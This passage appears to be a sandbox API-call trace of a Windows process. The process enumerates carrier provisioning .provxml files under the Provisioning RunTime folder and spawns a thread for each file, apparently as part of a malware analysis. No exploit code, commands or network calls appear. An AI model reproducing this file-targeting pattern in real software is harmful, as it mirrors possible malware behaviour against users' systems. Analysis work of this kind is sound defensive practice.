Telekom (Slovakia)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.393] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x154) returned 0x2fa37d8 [0180.393] wcscpy (in: _Dest=0x2fa37d8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.393] wcscat (in: _Dest=0x2fa37d8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.393] wcscat (in: _Dest=0x2fa37d8, _Source="393__Connections_Cellular_Slovak Telekom (Slovakia)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\393__Connections_Cellular_Slovak Telekom (Slovakia)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\393__Connections_Cellular_Slovak Telekom (Slovakia)_i0$(__MVID)@WAP.provxml" [0180.403] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa37d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d4 [0180.404] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90e5a314, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90e5a314, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90e80580, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x285, dwReserved0=0x0, dwReserved1=0x0, cFileName="394__Connections_Cellular_T-Mobile (Slovakia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="394__C~1.PRO")) returned 1 [0180.404] wcscmp (_String1="394__Connections_Cellular_T-Mobile (Slovakia)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.404] wcscmp (_String1="394__Connections_Cellular_T-Mobile (Slovakia)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.404] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x148) returned 0x2fe25b8 [0180.404] wcscpy (in: _Dest=0x2fe25b8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.404] wcscat (in: _Dest=0x2fe25b8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.404] wcscat (in: _Dest=0x2fe25b8, _Source="394__Connections_Cellular_T-Mobile (Slovakia)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\394__Connections_Cellular_T-Mobile (Slovakia)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\394__Connections_Cellular_T-Mobile (Slovakia)_i0$(__MVID)@WAP.provxml" [0180.404] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe25b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x99c [0180.405] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90e80580, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90e80580, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90e80580, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="395__Connections_Cellular_Mobitel (Slovenia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="395__C~1.PRO")) returned 1 [0180.405] wcscmp (_String1="395__Connections_Cellular_Mobitel (Slovenia)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.405] wcscmp (_String1="395__Connections_Cellular_Mobitel (Slovenia)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.405] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x146) returned 0x2fe1190 [0180.405] wcscpy (in: _Dest=0x2fe1190, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.405] wcscat (in: _Dest=0x2fe1190, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.405] wcscat (in: _Dest=0x2fe1190, _Source="395__Connections_Cellular_Mobitel (Slovenia)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\395__Connections_Cellular_Mobitel (Slovenia)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\395__Connections_Cellular_Mobitel (Slovenia)_i0$(__MVID)@WAP.provxml" [0180.405] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe1190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x658 [0180.406] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90e80580, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90e80580, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90e80580, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x354, dwReserved0=0x0, dwReserved1=0x0, cFileName="396__Connections_Cellular_Si.mobil (Slovenia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="396__C~1.PRO")) returned 1 [0180.406] wcscmp (_String1="396__Connections_Cellular_Si.mobil (Slovenia)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.406] wcscmp (_String1="396__Connections_Cellular_Si.mobil (Slovenia)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.406] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x148) returned 0x2fe2308 [0180.406] wcscpy (in: _Dest=0x2fe2308, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.406] wcscat (in: _Dest=0x2fe2308, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.406] wcscat (in: _Dest=0x2fe2308, _Source="396__Connections_Cellular_Si.mobil (Slovenia)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\396__Connections_Cellular_Si.mobil (Slovenia)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\396__Connections_Cellular_Si.mobil (Slovenia)_i0$(__MVID)@WAP.provxml" [0180.406] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe2308, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x998 [0180.407] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90e80580, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90e80580, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90e80580, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="397__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="397__C~1.PRO")) returned 1 [0180.407] wcscmp (_String1="397__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2=".") returned 1 [0180.407] wcscmp (_String1="397__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2="..") returned 1 [0180.407] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x128) returned 0x30551f0 [0180.407] wcscpy (in: _Dest=0x30551f0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.407] wcscat (in: _Dest=0x30551f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.407] wcscat (in: _Dest=0x30551f0, _Source="397__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\397__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\397__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" [0180.407] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x30551f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x49c [0180.407] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90e80580, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90e80580, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90e80580, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="398__Connections_Cellular_Cell-C (South Africa)_i0$(__MVID)@WAP.provxml", cAlternateFileName="398__C~1.PRO")) returned 1 [0180.407] wcscmp (_String1="398__Connections_Cellular_Cell-C (South Africa)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.407] wcscmp (_String1="398__Connections_Cellular_Cell-C (South Africa)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.407] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14c) returned 0x2fe2710 [0180.408] wcscpy (in: _Dest=0x2fe2710, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.408] wcscat (in: _Dest=0x2fe2710, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.408] wcscat (in: _Dest=0x2fe2710, _Source="398__Connections_Cellular_Cell-C (South Africa)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\398__Connections_Cellular_Cell-C (South Africa)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\398__Connections_Cellular_Cell-C (South Africa)_i0$(__MVID)@WAP.provxml" [0180.408] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe2710, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x994 [0180.408] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90ea67ef, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90ea67ef, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90ea67ef, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x291, dwReserved0=0x0, dwReserved1=0x0, cFileName="399__Connections_Cellular_MTN South Africa (South Africa)_i0$(__MVID)@WAP.provxml", cAlternateFileName="399__C~1.PRO")) returned 1 [0180.408] wcscmp (_String1="399__Connections_Cellular_MTN South Africa (South Africa)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.408] wcscmp (_String1="399__Connections_Cellular_MTN South Africa (South Africa)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.408] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x160) returned 0x2fa3940 [0180.408] wcscpy (in: _Dest=0x2fa3940, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.408] wcscat (in: _Dest=0x2fa3940, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.408] wcscat (in: _Dest=0x2fa3940, _Source="399__Connections_Cellular_MTN South Africa (South Africa)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\399__Connections_Cellular_MTN South Africa (South Africa)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\399__Connections_Cellular_MTN South Africa (South Africa)_i0$(__MVID)@WAP.provxml" [0180.409] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa3940, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3d0 [0180.409] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90221ca6, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90221ca6, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90221ca6, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x353, dwReserved0=0x0, dwReserved1=0x0, cFileName="39__Connections_Cellular_VELCOM (Belarus)_i0$(__MVID)@WAP.provxml", cAlternateFileName="39__CO~1.PRO")) returned 1 [0180.409] wcscmp (_String1="39__Connections_Cellular_VELCOM (Belarus)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.409] wcscmp (_String1="39__Connections_Cellular_VELCOM (Belarus)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.409] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x140) returned 0x4f01b68 [0180.409] wcscpy (in: _Dest=0x4f01b68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.409] wcscat (in: _Dest=0x4f01b68, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.409] wcscat (in: _Dest=0x4f01b68, _Source="39__Connections_Cellular_VELCOM (Belarus)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\39__Connections_Cellular_VELCOM (Belarus)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\39__Connections_Cellular_VELCOM (Belarus)_i0$(__MVID)@WAP.provxml" [0180.409] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f01b68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x990 [0180.410] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900ca6de, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x900ca6de, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x900ca6de, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="3__Connections_Cellular_Wataniya (Algeria)_i0$(__MVID)@WAP.provxml", cAlternateFileName="3__CON~1.PRO")) returned 1 [0180.410] wcscmp (_String1="3__Connections_Cellular_Wataniya (Algeria)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.410] wcscmp (_String1="3__Connections_Cellular_Wataniya (Algeria)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.410] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x142) returned 0x2fe2460 [0180.410] wcscpy (in: _Dest=0x2fe2460, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.410] wcscat (in: _Dest=0x2fe2460, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.410] wcscat (in: _Dest=0x2fe2460, _Source="3__Connections_Cellular_Wataniya (Algeria)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\3__Connections_Cellular_Wataniya (Algeria)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\3__Connections_Cellular_Wataniya (Algeria)_i0$(__MVID)@WAP.provxml" [0180.410] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe2460, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x654 [0180.411] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90ea67ef, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90ea67ef, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90ea67ef, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="400__Connections_Cellular_Vodacom SA (South Africa)_i0$(__MVID)@WAP.provxml", cAlternateFileName="400__C~1.PRO")) returned 1 [0180.411] wcscmp (_String1="400__Connections_Cellular_Vodacom SA (South Africa)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.411] wcscmp (_String1="400__Connections_Cellular_Vodacom SA (South Africa)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.411] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x154) returned 0x2fa3c10 [0180.411] wcscpy (in: _Dest=0x2fa3c10, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.411] wcscat (in: _Dest=0x2fa3c10, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.411] wcscat (in: _Dest=0x2fa3c10, _Source="400__Connections_Cellular_Vodacom SA (South Africa)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\400__Connections_Cellular_Vodacom SA (South Africa)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\400__Connections_Cellular_Vodacom SA (South Africa)_i0$(__MVID)@WAP.provxml" [0180.411] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa3c10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3d4 [0180.412] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90ea67ef, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90ea67ef, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90ea67ef, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="401__Connections_Cellular_Vodacom SA (South Africa)_i1$(__MVID)@WAP.provxml", cAlternateFileName="401__C~1.PRO")) returned 1 [0180.412] wcscmp (_String1="401__Connections_Cellular_Vodacom SA (South Africa)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.412] wcscmp (_String1="401__Connections_Cellular_Vodacom SA (South Africa)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.412] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x154) returned 0x2fa3d78 [0180.412] wcscpy (in: _Dest=0x2fa3d78, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.412] wcscat (in: _Dest=0x2fa3d78, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.412] wcscat (in: _Dest=0x2fa3d78, _Source="401__Connections_Cellular_Vodacom SA (South Africa)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\401__Connections_Cellular_Vodacom SA (South Africa)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\401__Connections_Cellular_Vodacom SA (South Africa)_i1$(__MVID)@WAP.provxml" [0180.412] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa3d78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x988 [0180.413] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90ea67ef, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90ea67ef, 